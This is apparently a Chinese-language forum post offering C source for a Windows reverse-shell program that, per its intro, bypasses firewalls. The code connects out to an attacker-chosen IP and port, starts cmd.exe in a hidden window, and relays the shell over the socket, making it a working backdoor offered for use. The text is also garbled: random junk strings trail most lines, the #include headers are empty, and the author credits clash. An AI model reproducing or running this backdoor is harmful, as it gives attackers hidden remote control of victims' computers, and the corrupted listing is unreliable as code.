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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LM&y@"wfm  
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/* ============================== _`64gS}^  
Rebound port in Windows NT !"8fdSfg w  
By wind,2006/7 ^"J8r W6[  
===============================*/ ]E]2o  
#include 5]M>8ll  
#include C@jJ.^ <<  
$.9{if#o&  
#pragma comment(lib,"wsock32.lib") uYE`"/h,1e  
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void OutputShell(); [o F|s-"9!  
SOCKET sClient; B'^:'uG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; L#vI=GpL,r  
&ZL3{M  
void main(int argc,char **argv) tK&' <tZh  
{ 5uxBK"q  
WSADATA stWsaData; /z BxJT0  
int nRet; rXA*NeA3v  
SOCKADDR_IN stSaiClient,stSaiServer; u]vQ>Uu  
me OMq1  
if(argc != 3) k?2k'2dy  
{ r#xg#uoj  
printf("Useage:\n\rRebound DestIP DestPort\n"); 0_CN/5F  
return; 6;|n]m\Vd  
} ]O]GeAGC2  
;vt8R=T  
WSAStartup(MAKEWORD(2,2),&stWsaData); M`ip~7"  
Yv:55+e!|  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y#XbJuN/  
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stSaiClient.sin_family = AF_INET; _x!7}O#k  
stSaiClient.sin_port = htons(0); QR1{ w'c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d> {nQF;c  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <vXGi  
{ 3>Y 6)  
printf("Bind Socket Failed!\n"); gks{\H]  
return; o1<_fI  
} hGiz)v~  
b, :QT~g=  
stSaiServer.sin_family = AF_INET; ~i`>adJ:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); f%V4pzOc"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |Pg@M  
{#)0EzV6  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6 ~ >FYX  
{ Nj?/J47?,  
printf("Connect Error!"); qu|B4?Y/CR  
return; 3Kn_mL3V-  
} f]`vRvbe  
OutputShell(); S{Er?0wm.R  
} A]XZnQ  
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void OutputShell() &gjF4~W]  
{ qbv#I;  
char szBuff[1024]; q `pP$i:  
SECURITY_ATTRIBUTES stSecurityAttributes; 4Z/f@ZD  
OSVERSIONINFO stOsversionInfo; YX` 7Hm,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :sC qjz  
STARTUPINFO stStartupInfo; ;&ASkI  
char *szShell; 9~l hsH  
PROCESS_INFORMATION stProcessInformation; _U/!4A  
unsigned long lBytesRead; HeG)/W?r  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IKi5 v~bE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8cA~R-  
stSecurityAttributes.lpSecurityDescriptor = 0; aXL{TD:]  
stSecurityAttributes.bInheritHandle = TRUE; {RF-sqce  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +). 0cs0k5  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *cEob b  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nB!&Zq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $#]]K  
stStartupInfo.wShowWindow = SW_HIDE; rta:f800z  
stStartupInfo.hStdInput = hReadPipe; -N"&/)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1|ra&(=)  
qM.bF&&Go  
GetVersionEx(&stOsversionInfo); %DdJ ^qHI  
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switch(stOsversionInfo.dwPlatformId) N2w"R{)j\  
{ 0C>%LJ8r  
case 1: 5sb\r,kW  
szShell = "command.com"; eQ&ZX3*}  
break; . Z%{'CC  
default: 8KRba4[  
szShell = "cmd.exe"; f/V 2f].  
break; [/X4"D-uOK  
} ldp%{"ZZ  
Hbpqyl%O>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /"B?1?qc,=  
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send(sClient,szMsg,77,0); 3JVK  
while(1) V<j.xd7  
{ #H0dZ.$b0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gmm|A9+tv  
if(lBytesRead) >Bgw}PI  
{ X@f "-\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]Oif|k`{  
send(sClient,szBuff,lBytesRead,0); \.3D~2cU  
} tQylT0'[+o  
else 0q'w8]m  
{ L>YU,I\o  
lBytesRead=recv(sClient,szBuff,1024,0); PpgP&;z4  
if(lBytesRead<=0) break; Dre]AsgiV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); YiPoYlD*n<  
} m o:D9  
} Uy$)%dYfq5  
4!LCR}K  
return; 7R\oj8[  
}
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